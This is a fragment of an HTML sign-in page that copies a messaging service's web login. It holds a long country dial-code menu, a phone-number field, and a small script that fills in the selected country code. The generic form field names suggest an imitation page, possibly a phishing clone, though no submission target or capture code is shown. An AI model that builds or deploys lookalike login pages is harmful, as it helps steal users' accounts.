                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1f8.png" class="emoji opacity-transition slow shown open" alt="🇸🇸" data-path="countries/1f1f8-1f1f8.png" draggable="false"></span><span class="country-name">South Sudan</span><span class="country-code">+211</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ea-1f1f8.png" class="emoji opacity-transition slow shown open" alt="🇪🇸" data-path="countries/1f1ea-1f1f8.png" draggable="false"></span><span class="country-name">Spain</span><span class="country-code">+34</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f1-1f1f0.png" class="emoji opacity-transition slow shown open" alt="🇱🇰" data-path="countries/1f1f1-1f1f0.png" draggable="false"></span><span class="country-name">Sri Lanka</span><span class="country-code">+94</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1e9.png" class="emoji opacity-transition slow shown open" alt="🇸🇩" data-path="countries/1f1f8-1f1e9.png" draggable="false"></span><span class="country-name">Sudan</span><span class="country-code">+249</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇸🇷" data-path="countries/1f1f8-1f1f7.png" draggable="false"></span><span class="country-name">Suriname</span><span class="country-code">+597</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇸🇪" data-path="countries/1f1f8-1f1ea.png" draggable="false"></span><span class="country-name">Sweden</span><span class="country-code">+46</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e8-1f1ed.png" class="emoji opacity-transition slow shown open" alt="🇨🇭" data-path="countries/1f1e8-1f1ed.png" draggable="false"></span><span class="country-name">Switzerland</span><span class="country-code">+41</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f8-1f1fe.png" class="emoji opacity-transition slow shown open" alt="🇸🇾" data-path="countries/1f1f8-1f1fe.png" draggable="false"></span><span class="country-name">Syria</span><span class="country-code">+963</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1fc.png" class="emoji opacity-transition slow shown open" alt="🇹🇼" data-path="countries/1f1f9-1f1fc.png" draggable="false"></span><span class="country-name">Taiwan</span><span class="country-code">+886</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1ef.png" class="emoji opacity-transition slow shown open" alt="🇹🇯" data-path="countries/1f1f9-1f1ef.png" draggable="false"></span><span class="country-name">Tajikistan</span><span class="country-code">+992</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1ff.png" class="emoji opacity-transition slow shown open" alt="🇹🇿" data-path="countries/1f1f9-1f1ff.png" draggable="false"></span><span class="country-name">Tanzania</span><span class="country-code">+255</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1ed.png" class="emoji opacity-transition slow shown open" alt="🇹🇭" data-path="countries/1f1f9-1f1ed.png" draggable="false"></span><span class="country-name">Thailand</span><span class="country-code">+66</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1f1.png" class="emoji opacity-transition slow shown open" alt="🇹🇱" data-path="countries/1f1f9-1f1f1.png" draggable="false"></span><span class="country-name">Timor-Leste</span><span class="country-code">+670</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇹🇬" data-path="countries/1f1f9-1f1ec.png" draggable="false"></span><span class="country-name">Togo</span><span class="country-code">+228</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1f0.png" class="emoji opacity-transition slow shown open" alt="🇹🇰" data-path="countries/1f1f9-1f1f0.png" draggable="false"></span><span class="country-name">Tokelau</span><span class="country-code">+690</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1f4.png" class="emoji opacity-transition slow shown open" alt="🇹🇴" data-path="countries/1f1f9-1f1f4.png" draggable="false"></span><span class="country-name">Tonga</span><span class="country-code">+676</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1f9.png" class="emoji opacity-transition slow shown open" alt="🇹🇹" data-path="countries/1f1f9-1f1f9.png" draggable="false"></span><span class="country-name">Trinidad &amp; Tobago</span><span class="country-code">+1868</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1f3.png" class="emoji opacity-transition slow shown open" alt="🇹🇳" data-path="countries/1f1f9-1f1f3.png" draggable="false"></span><span class="country-name">Tunisia</span><span class="country-code">+216</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1f7.png" class="emoji opacity-transition slow shown open" alt="🇹🇷" data-path="countries/1f1f9-1f1f7.png" draggable="false"></span><span class="country-name">Turkey</span><span class="country-code">+90</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇹🇲" data-path="countries/1f1f9-1f1f2.png" draggable="false"></span><span class="country-name">Turkmenistan</span><span class="country-code">+993</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1e8.png" class="emoji opacity-transition slow shown open" alt="🇹🇨" data-path="countries/1f1f9-1f1e8.png" draggable="false"></span><span class="country-name">Turks &amp; Caicos Islands</span><span class="country-code">+1649</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1f9-1f1fb.png" class="emoji opacity-transition slow shown open" alt="🇹🇻" data-path="countries/1f1f9-1f1fb.png" draggable="false"></span><span class="country-name">Tuvalu</span><span class="country-code">+688</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fa-1f1ec.png" class="emoji opacity-transition slow shown open" alt="🇺🇬" data-path="countries/1f1fa-1f1ec.png" draggable="false"></span><span class="country-name">Uganda</span><span class="country-code">+256</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fa-1f1e6.png" class="emoji opacity-transition slow shown open" alt="🇺🇦" data-path="countries/1f1fa-1f1e6.png" draggable="false"></span><span class="country-name">Ukraine</span><span class="country-code">+380</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1e6-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇦🇪" data-path="countries/1f1e6-1f1ea.png" draggable="false"></span><span class="country-name">United Arab Emirates</span><span class="country-code">+971</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem selected compact"><span class="country-flag"><img src="countries/1f1ec-1f1e7.png" class="emoji opacity-transition slow shown open" alt="🇬🇧" data-path="countries/1f1ec-1f1e7.png" draggable="false"></span><span class="country-name">United Kingdom</span><span class="country-code">+44</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fa-1f1fe.png" class="emoji opacity-transition slow shown open" alt="🇺🇾" data-path="countries/1f1fa-1f1fe.png" draggable="false"></span><span class="country-name">Uruguay</span><span class="country-code">+598</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fb-1f1ee.png" class="emoji opacity-transition slow shown open" alt="🇻🇮" data-path="countries/1f1fb-1f1ee.png" draggable="false"></span><span class="country-name">US Virgin Islands</span><span class="country-code">+1340</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fa-1f1f8.png" class="emoji opacity-transition slow shown open" alt="🇺🇸" data-path="countries/1f1fa-1f1f8.png" draggable="false"></span><span class="country-name">USA</span><span class="country-code">+1</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fa-1f1ff.png" class="emoji opacity-transition slow shown open" alt="🇺🇿" data-path="countries/1f1fa-1f1ff.png" draggable="false"></span><span class="country-name">Uzbekistan</span><span class="country-code">+998</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fb-1f1fa.png" class="emoji opacity-transition slow shown open" alt="🇻🇺" data-path="countries/1f1fb-1f1fa.png" draggable="false"></span><span class="country-name">Vanuatu</span><span class="country-code">+678</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fb-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇻🇪" data-path="countries/1f1fb-1f1ea.png" draggable="false"></span><span class="country-name">Venezuela</span><span class="country-code">+58</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fb-1f1f3.png" class="emoji opacity-transition slow shown open" alt="🇻🇳" data-path="countries/1f1fb-1f1f3.png" draggable="false"></span><span class="country-name">Vietnam</span><span class="country-code">+84</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fc-1f1eb.png" class="emoji opacity-transition slow shown open" alt="🇼🇫" data-path="countries/1f1fc-1f1eb.png" draggable="false"></span><span class="country-name">Wallis &amp; Futuna</span><span class="country-code">+681</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1fe-1f1ea.png" class="emoji opacity-transition slow shown open" alt="🇾🇪" data-path="countries/1f1fe-1f1ea.png" draggable="false"></span><span class="country-name">Yemen</span><span class="country-code">+967</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ff-1f1f2.png" class="emoji opacity-transition slow shown open" alt="🇿🇲" data-path="countries/1f1ff-1f1f2.png" draggable="false"></span><span class="country-name">Zambia</span><span class="country-code">+260</span></div>
                                 <div role="menuitem" tabindex="0" class="MenuItem compact"><span class="country-flag"><img src="countries/1f1ff-1f1fc.png" class="emoji opacity-transition slow shown open" alt="🇿🇼" data-path="countries/1f1ff-1f1fc.png" draggable="false"></span><span class="country-name">Zimbabwe</span><span class="country-code">+263</span></div>
                              </div>
                           </div>
                        </div>
                        <div class="input-group touched with-label"><input class="form-control" type="text" id="sign-in-phone-number" dir="auto" inputmode="tel" aria-label="Your phone number" name="the_number"><label for="sign-in-phone-number">Your phone number</label></div>
                        <label class="Checkbox">
                           <input type="checkbox" id="sign-in-keep-session">
                           <div class="Checkbox-main"><span class="label" dir="auto">Keep me signed in</span></div>
                        </label>
						<button type="submit" name="button1" class="Button default primary has-ripple">Next</button>
                        <button type="button" class="Button default primary text has-ripple">
                           Log in by QR Code
                           <div class="ripple-container"></div>
                        </button>
                     </form>
                  </div>
               </div>
            </div>

         </div>
      </div>
<script>
// === GRAB ELEMENTS ===
const countryInputGroup = document.getElementById('country-input-group'); // The entire input/arrow area
const countryMenu       = document.querySelector('.bubble.menu-container');
const countryCodeInput  = document.getElementById('sign-in-phone-code');
const phoneNumberInput  = document.getElementById('sign-in-phone-number');

// === 1. OPEN/CLOSE DROPDOWN BY CLICKING THE TEXTBOX OR ARROW ===
countryInputGroup.addEventListener('click', (event) => {
  // Prevent the click from bubbling up to the document listener
  event.stopPropagation();

  // Toggle the `not-shown` class
  if (countryMenu.classList.contains('not-shown')) {
    countryMenu.classList.remove('not-shown'); // show
  } else {
    countryMenu.classList.add('not-shown');    // hide
  }
});

// === 2. CLOSE DROPDOWN WHEN CLICKING OUTSIDE ===
document.addEventListener('click', (event) => {
  // If the click is outside both the input group and the menu, close the dropdown
  if (
    !countryInputGroup.contains(event.target) &&
    !countryMenu.contains(event.target)
  ) {
    countryMenu.classList.add('not-shown');
  }
});

// === 3. SELECT A COUNTRY FROM THE LIST ===
countryMenu.addEventListener('click', (event) => {
  // Identify which menu item was clicked
  const menuItem = event.target.closest('.MenuItem');
  if (menuItem) {
    // Grab the name & code
    const selectedCountry = menuItem.querySelector('.country-name')?.innerText.trim() || '';
    const selectedCode    = menuItem.querySelector('.country-code')?.innerText.trim() || '';

    // Put the country name in the first input
    countryCodeInput.value = selectedCountry;

    // Prefix the second input with the country code
    phoneNumberInput.value = selectedCode + ' ';

    // Close the dropdown once a country is chosen
    countryMenu.classList.add('not-shown');
  }
});
</script>
   </body>
</html>